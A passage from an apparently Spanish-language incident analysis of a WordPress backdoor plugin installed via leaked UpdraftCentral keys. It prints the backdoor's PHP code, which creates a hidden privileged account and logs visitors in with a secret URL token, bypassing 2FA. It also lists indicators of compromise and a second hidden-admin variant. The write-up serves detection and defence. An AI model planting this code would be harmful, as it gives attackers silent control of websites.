.35em;border-radius:4px;word-break:break-word\">install_plugins<\/code> y <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">activate_plugins<\/code>. No ten\u00eda ninguno de los dos.<\/p>\n<h2 id=\"por-qu\u00e9-es-un-problema-cr\u00edtico-de-updraftcentral\">Por qu\u00e9 es un problema cr\u00edtico de UpdraftCentral<\/h2>\n<p>El cliente de UpdraftCentral forma parte de cada copia de UpdraftPlus, gratuita y premium. Se activa cuando el propietario conecta la web al panel. A partir de ah\u00ed la web ejecuta cada orden firmada con la clave del panel con los permisos del administrador que cre\u00f3 la conexi\u00f3n, incluida la subida y activaci\u00f3n de cualquier plugin. El propietario de la web no confirma la orden y, en nuestro caso, nada nos avis\u00f3. Las claves del lado de la web no caducan: las de noviembre de 2025 segu\u00edan funcionando en octubre de 2026.<\/p>\n<p>La seguridad de todas las webs conectadas depende as\u00ed de una \u00fanica suposici\u00f3n: que las claves privadas del panel no se filtren. Se filtraron, y el atacante, desde un solo punto y en pocas horas, tom\u00f3 el control de dos webs e intent\u00f3 una tercera. UpdraftPlus tiene m\u00e1s de 4 millones de instalaciones activas. Entre los plugins de copias de seguridad de wordpress.org solo All-in-One WP Migration (m\u00e1s de 5 millones) tiene m\u00e1s instalaciones, y es sobre todo una herramienta de migraci\u00f3n. Solo una parte de los usuarios de UpdraftPlus usa UpdraftCentral, pero incluso una peque\u00f1a parte de 4 millones son muchas webs.<\/p>\n<p>El mismo canal ya fall\u00f3 antes. En junio de 2026 el fabricante corrigi\u00f3 la vulnerabilidad CVE-2026-10795 (CVSS 8.1), con la que un atacante pod\u00eda falsificar \u00f3rdenes de UpdraftCentral sin iniciar sesi\u00f3n e instalar y activar un plugin malicioso. Seguimos registrando intentos de explotarla.<\/p>\n<h2 id=\"qu\u00e9-hace-exactamente-la-puerta-trasera\">Qu\u00e9 hace exactamente la puerta trasera<\/h2>\n<p>El plugin tiene cinco archivos, pero solo el principal contiene l\u00f3gica. Esta es la parte relevante de la muestra de la web A. Hemos acortado el token y la contrase\u00f1a:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">define( &#39;LOADSTACK35C_TOKEN&#39;, &#39;j0j8nxxH\u2026&#39; );      \/\/ 32 caracteres\ndefine( &#39;LOADSTACK35C_FIELD&#39;, &#39;_9f5696&#39; );\ndefine( &#39;LOADSTACK35C_SVC_LOGIN&#39;, &#39;data-ops43&#39; );\ndefine( &#39;LOADSTACK35C_SVC_PASS&#39;, &#39;L7sfkZMw\u2026&#39; );    \/\/ 22 caracteres\n\nfinal class LoadStack35c {\n    private function __construct() {\n        add_action( &#39;init&#39;, array( $this, &#39;handle_sync&#39; ), 1 );\n    }\n\n    public function handle_sync() {\n        if ( isset( $_GET[ self::FIELD ] ) &amp;&amp; hash_equals( self::TOKEN, (string) $_GET[ self::FIELD ] ) ) {\n            $user = get_user_by( &#39;login&#39;, self::SVC_LOGIN );\n            if ( ! $user ) {\n                $uid = wp_insert_user( array(\n                    &#39;user_login&#39;   =&gt; self::SVC_LOGIN,\n                    &#39;user_pass&#39;    =&gt; self::SVC_PASS,\n                    &#39;user_email&#39;   =&gt; self::SVC_LOGIN . &#39;@example.org&#39;,\n                    &#39;display_name&#39; =&gt; &#39;Site Tools&#39;,\n                    &#39;role&#39;         =&gt; &#39;editor&#39;,\n                ) );\n                if ( is_wp_error( $uid ) ) return;\n                $u = new WP_User( $uid );\n                $u-&gt;add_cap( &#39;manage_options&#39; );\n                $u-&gt;add_cap( &#39;install_plugins&#39; );\n                $user = get_user_by( &#39;id&#39;, $uid );\n            }\n            wp_set_current_user( $user-&gt;ID, $user-&gt;user_login );\n            wp_set_auth_cookie( $user-&gt;ID, true, is_ssl() );\n            wp_safe_redirect( admin_url( &#39;index.php&#39; ) );\n            exit;\n        }\n    }\n}\n\nregister_activation_hook( __FILE__, function () {\n    if ( ! get_option( &#39;load_stack_35c_sync_token&#39; ) ) {\n        update_option( &#39;load_stack_35c_sync_token&#39;, &#39;j0j8nxxH\u2026&#39;, false );\n    }\n} );\n\nLoadStack35c::instance();<\/code><\/pre>\n<p>As\u00ed funcionar\u00eda si no tuviera un error:<\/p>\n<ol type=\"1\">\n<li>En cada petici\u00f3n a la web se engancha a la acci\u00f3n <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">init<\/code> con prioridad 1, antes que la mayor\u00eda de los dem\u00e1s plugins.<\/li>\n<li>Comprueba si la URL contiene el par\u00e1metro <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">?_9f5696=<\/code> y compara su valor con un token de 32 caracteres. Compara con <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">hash_equals<\/code>, que tarda lo mismo coincidan o no los valores, de modo que el token no se puede adivinar midiendo los tiempos de respuesta. Sin el token correcto no ocurre nada y la web se comporta con normalidad.<\/li>\n<li>Con el token correcto crea el usuario <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">data-ops43<\/code> con una contrase\u00f1a fijada en el plugin, el correo <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">data-ops43@example.org<\/code> y el nombre visible \u00abSite Tools\u00bb.<\/li>\n<li>Le asigna el rol Editor y adem\u00e1s dos capacidades sueltas: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">manage_options<\/code> e <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code>.<\/li>\n<li>Inicia la sesi\u00f3n del visitante como ese usuario mediante <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp_set_auth_cookie<\/code> con \u00abrecordarme\u00bb, es decir, con una cookie v\u00e1lida 14 d\u00edas. As\u00ed se salta por completo el formulario de acceso, por lo que no act\u00faan ni la autenticaci\u00f3n en dos pasos, ni el l\u00edmite de intentos, ni la protecci\u00f3n de acceso de Wordfence.<\/li>\n<li>Lo redirige al administrador.<\/li>\n<\/ol>\n<p>El rol Editor con dos capacidades extra es intencionado. En la lista de usuarios la cuenta aparece como Editor, no como Administrador, as\u00ed que en una revisi\u00f3n normal de administradores pasa desapercibida. En la pr\u00e1ctica tiene control total de la web:<\/p>\n<ul>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code> permite subir cualquier plugin. Sus archivos PHP se pueden ejecutar directamente por URL incluso sin activarlo, lo que equivale a ejecutar cualquier c\u00f3digo en el servidor.<\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">manage_options<\/code> da acceso a todos los ajustes. Basta con activar el registro y poner administrador como rol por defecto para que el atacante se cree un administrador completo.<\/li>\n<li>En un WordPress normal un Editor tiene tambi\u00e9n <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">unfiltered_html<\/code>, as\u00ed que puede insertar en las entradas JavaScript que se ejecuta en el navegador de cada administrador.<\/li>\n<\/ul>\n<p>La puerta trasera tiene adem\u00e1s una segunda capa. La cuenta creada, con una contrase\u00f1a conocida, sigue en WordPress incluso despu\u00e9s de eliminar el plugin, y el atacante puede entrar con ella por el formulario normal si esa cuenta no tiene activada la autenticaci\u00f3n en dos pasos.<\/p>\n<h3 id=\"el-error-que-nos-salv\u00f3\">El error que nos salv\u00f3<\/h3>\n<p>Las constantes se definen con <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">define()<\/code> como constantes globales (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">LOADSTACK35C_FIELD<\/code>), pero el c\u00f3digo las lee como constantes de clase (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">self::FIELD<\/code>). La clase no tiene constantes. Por eso PHP 8 lanza <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Error: Undefined constant LoadStack35c::FIELD<\/code> la primera vez que eval\u00faa <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">self::FIELD<\/code>. Ocurre antes de comprobar el token, es decir, en cada petici\u00f3n: visitas normales, administrador, inicio de sesi\u00f3n, API REST, cron y WP-CLI. La web cae con error 500 y solo sirve p\u00e1ginas desde la cach\u00e9.<\/p>\n<p>La petici\u00f3n de instalaci\u00f3n, en cambio, termin\u00f3 bien. UpdraftCentral procesa las \u00f3rdenes en la acci\u00f3n <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp_loaded<\/code>, que llega despu\u00e9s de <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">init<\/code>, as\u00ed que en esa petici\u00f3n el c\u00f3digo defectuoso no se ejecut\u00f3. El atacante recibi\u00f3 una confirmaci\u00f3n de \u00e9xito y no supo nada del error por la respuesta. Solo fallaron las peticiones siguientes.<\/p>\n<p>Al atacante le basta con corregir unos pocos caracteres para que la pr\u00f3xima oleada funcione. <strong>Si encuentra un plugin \u00abroto\u00bb parecido, no lo arregle.<\/strong> Arreglarlo activar\u00eda la puerta trasera. Elim\u00ednelo.<\/p>\n<h3 id=\"m\u00e1s-detalles\">M\u00e1s detalles<\/h3>\n<ul>\n<li>El plugin se hace pasar por un complemento corriente: tiene una cabecera completa, licencia GPL, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Text Domain<\/code>, la descripci\u00f3n \u00abSmall maintenance toolkit: keeps option storage tidy.\u00bb y un editor inventado (\u00abPixelBinder\u00bb, \u00abHarbor Stack Labs\u00bb).<\/li>\n<li>Los archivos <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">assets\/public.css<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">assets\/public.js<\/code> y <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">languages\/readme.txt<\/code> solo contienen un comentario. El plugin no los usa; est\u00e1n ah\u00ed para que la carpeta parezca un plugin real.<\/li>\n<li>Al desinstalarlo desde el administrador, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> borra las opciones <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_sync_token<\/code> y <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_setup_stamp<\/code>, es decir, sus propios rastros. El c\u00f3digo nunca crea la segunda opci\u00f3n; es un resto de la plantilla.<\/li>\n<li>Al activarse guarda el token en la opci\u00f3n <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_sync_token<\/code> sin carga autom\u00e1tica. El c\u00f3digo nunca la lee.<\/li>\n<li>Ambas muestras salen del mismo generador. Si sustituimos nombres, tokens, usuarios y versiones por marcadores, todos los archivos son id\u00e9nticos byte a byte. El nombre sigue el patr\u00f3n <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">palabra-palabra-3 caracteres hexadecimales<\/code>, el par\u00e1metro es <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_<\/code> m\u00e1s 6 caracteres hexadecimales y el usuario <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">palabra-palabra<\/code> m\u00e1s dos d\u00edgitos. El token tiene 32 caracteres y la contrase\u00f1a 22 (letras, d\u00edgitos y guion bajo).<\/li>\n<\/ul>\n<h2 id=\"indicadores-de-compromiso\">Indicadores de compromiso<\/h2>\n<table>\n<thead>\n<tr class=\"header\">\n<th><\/th>\n<th>Web A<\/th>\n<th>Web B<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr class=\"odd\">\n<td>Carpeta del plugin<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">load-stack-35c<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">text-gantry-eb0<\/code><\/td>\n<\/tr>\n<tr class=\"even\">\n<td>Nombre \/ autor \/ versi\u00f3n<\/td>\n<td>Load Stack 35C \/ PixelBinder \/ 1.2.6<\/td>\n<td>Text Gantry Eb0 \/ Harbor Stack Labs \/ 3.9.5<\/td>\n<\/tr>\n<tr class=\"odd\">\n<td>Par\u00e1metro de la URL<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_9f5696<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_3e9caa<\/code><\/td>\n<\/tr>\n<tr class=\"even\">\n<td>Usuario<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">data-ops43<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">media-staff96<\/code><\/td>\n<\/tr>\n<tr class=\"odd\">\n<td>Opci\u00f3n en la base de datos<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">load_stack_35c_sync_token<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">text_gantry_eb0_sync_token<\/code><\/td>\n<\/tr>\n<tr class=\"even\">\n<td>SHA-256 del archivo principal<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">3c3355f7692d4951e5655683783795579467c9bf1ae2152e13b8c80e9021209f<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">bb40f9a87cea678aa50e5286dd91c0903d6a7fc1b12391472187a0919b4d0801<\/code><\/td>\n<\/tr>\n<tr class=\"odd\">\n<td>SHA-256 de <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">4186ae2aa0472a4e7929b21bb87f9b61866cb3790f69f4b6c9813e196955d5f0<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">4943fc21efa4b81516130f92bf4efe3b832e1bb69e499d2e42587233a0a005e9<\/code><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Otras v\u00edctimas nos enviaron m\u00e1s muestras de la primera variante, y Patchstack cita m\u00e1s nombres:<\/p>\n<ul>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">hero-frame-2c5<\/code>, autor \u00abCopperForge WP\u00bb, usuario con correo <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">render-build21@example.org<\/code>, SHA-256 del archivo principal <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">a9b625496a8ec82862ded01900f720c28f111e624176df7e25be7331f22e4cc9<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">325722876a5f8e184b88cf415900ab52c9103553bc4be502399a2272550f2111<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">card-binder-104<\/code>, versi\u00f3n 2.6.7, usuario <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">render.desk87<\/code><\/li>\n<li>seg\u00fan Patchstack, por ejemplo \u00abSite Health Cache\u00bb, \u00abAsset Forge 2\u00bb, \u00abContent Helper\u00bb y \u00abWp Forge\u00bb, 99 nombres en total<\/li>\n<\/ul>\n<p>Rasgos comunes:<\/p>\n<ul>\n<li>direcciones IP <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> y <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2a09:bac5:4e21:2e3c::49b:9<\/code>, User-Agent exactamente <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">WordPress\/6.4; class-udrpc.php<\/code>, petici\u00f3n <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">POST \/<\/code><\/li>\n<li>en el registro de UpdraftCentral, el sondeo <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">probe.central.updraftplus.com<\/code> y unas horas despu\u00e9s <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Command received: plugin.upload_plugin<\/code><\/li>\n<li>la descripci\u00f3n del plugin \u00abSmall maintenance toolkit: keeps option storage tidy.\u00bb<\/li>\n<li>un usuario con correo en <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">@example.org<\/code> y nombre visible \u00abSite Tools\u00bb, con rol Editor y las capacidades <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">manage_options<\/code> e <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code><\/li>\n<li>el error fatal <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Undefined constant &lt;Clase&gt;::FIELD<\/code> y un correo de WordPress sobre un error en un plugin que no reconoce<\/li>\n<\/ul>\n<h2 id=\"la-segunda-variante-un-administrador-oculto\">La segunda variante: un administrador oculto<\/h2>\n<p>No hemos analizado esta variante nosotros mismos. La descripci\u00f3n y los indicadores nos los envi\u00f3 un administrador de unas 145 webs, tres de las cuales fueron atacadas. Una recibi\u00f3 la variante descrita arriba y las otras dos un plugin distinto. El an\u00e1lisis de Patchstack todav\u00eda no incluye esta variante.<\/p>\n<ul>\n<li>Nombres: \u00abSrc Lab\u00bb (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">src-lab<\/code>, autor \u00abWPBridge\u00bb, versi\u00f3n 3.0.0) y \u00abRender Helper 232b\u00bb (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">render-helper-232b<\/code>, versi\u00f3n 3.7.9).<\/li>\n<li>Descripci\u00f3n: \u00abImproves cron tasks efficiency for content sites with minimal overhead.\u00bb Para disimular, el plugin a\u00f1ade de verdad un cron diario que borra transients caducados y un filtro de jQuery para p\u00e1ginas AMP.<\/li>\n<li>Disparador: un par\u00e1metro cuyo nombre son 12 caracteres hexadecimales y un token de 32 caracteres, por ejemplo <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">?303541c9dfd0=\u2026&amp;m=setup<\/code>. El modo <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">m=setup<\/code> crea un <strong>administrador<\/strong> (por ejemplo <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cmseditor170@example.com<\/code> o <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">web_mgr684@example.com<\/code>) y el modo <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">m=svc<\/code> inicia la sesi\u00f3n del visitante en esa cuenta. Sin <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">m<\/code> inicia la sesi\u00f3n del visitante como el <strong>primer administrador existente de la web<\/strong>.<\/li>\n<li>Guarda el ID de la cuenta creada en la opci\u00f3n <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_uid<\/code>, por ejemplo <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">src_lab_uid<\/code>.<\/li>\n<li>Oculta la cuenta: un hook <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_user_query<\/code> la quita de la lista de usuarios y un filtro <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em 